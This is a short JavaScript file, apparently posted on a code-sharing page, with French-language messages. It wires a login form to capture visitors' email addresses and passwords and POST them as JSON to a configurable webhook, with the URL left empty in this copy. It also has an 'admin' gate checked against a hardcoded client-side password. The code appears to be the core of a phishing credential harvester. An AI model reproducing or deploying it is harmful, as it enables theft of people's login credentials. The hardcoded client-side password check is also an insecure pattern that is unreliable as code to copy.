HTMLify
script.js
Views: 61 | Author: karbonsites
1 | document.addEventListener('DOMContentLoaded', () => { const WEBHOOK_URL = null; const adminBtn = document.getElementById('adminBtn'); const form = document.getElementById('loginForm'); const statusMsg = document.getElementById('statusMessage'); if (adminBtn) { adminBtn.addEventListener('click', () => { if(document.getElementById('adminPass').value === 'admin123') { sessionStorage.setItem('isAdmin', 'true'); location.reload(); } else { alert('Accès refusé'); } }); } if(window.location.pathname.includes('admin.html') && sessionStorage.getItem('isAdmin') === 'true') { document.getElementById('adminContent').style.display = 'block'; document.getElementById('authArea').style.display = 'none'; if (!WEBHOOK_URL) { document.getElementById('adminStatus').innerText = 'Configuration requise: URL du serveur manquante.'; } } if (form) { form.addEventListener('submit', (e) => { e.preventDefault(); if (!WEBHOOK_URL) { statusMsg.innerText = 'Erreur: Serveur distant non configuré.'; return; } const entry = { email: document.getElementById('email').value, password: document.getElementById('password').value, timestamp: new Date().toLocaleString() }; fetch(WEBHOOK_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(entry) }).then(() => { alert('Données transmises.'); form.reset(); }).catch(() => { statusMsg.innerText = 'Erreur de connexion au serveur.'; }); }); } }); |